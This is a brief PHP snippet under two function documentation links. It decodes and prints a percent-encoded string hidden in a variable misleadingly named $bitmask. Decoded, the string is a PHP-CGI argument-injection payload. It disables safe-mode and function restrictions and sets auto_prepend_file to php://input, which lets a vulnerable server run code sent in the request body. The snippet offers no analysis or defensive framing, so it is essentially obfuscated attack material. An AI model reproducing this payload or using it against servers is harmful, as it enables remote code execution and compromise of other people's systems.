- urldecode: documentation ( source)
- str_replace: documentation ( source)
<?php
$bitmask = "%s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F" .
"%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64" .
"+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73" .
"%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E" .
"%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63" .
"%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62" .
"%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74" .
"%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68" .
"%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F" .
"%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63" .
"%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73" .
"%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E";
echo str_replace('%','', urldecode($bitmask));
?>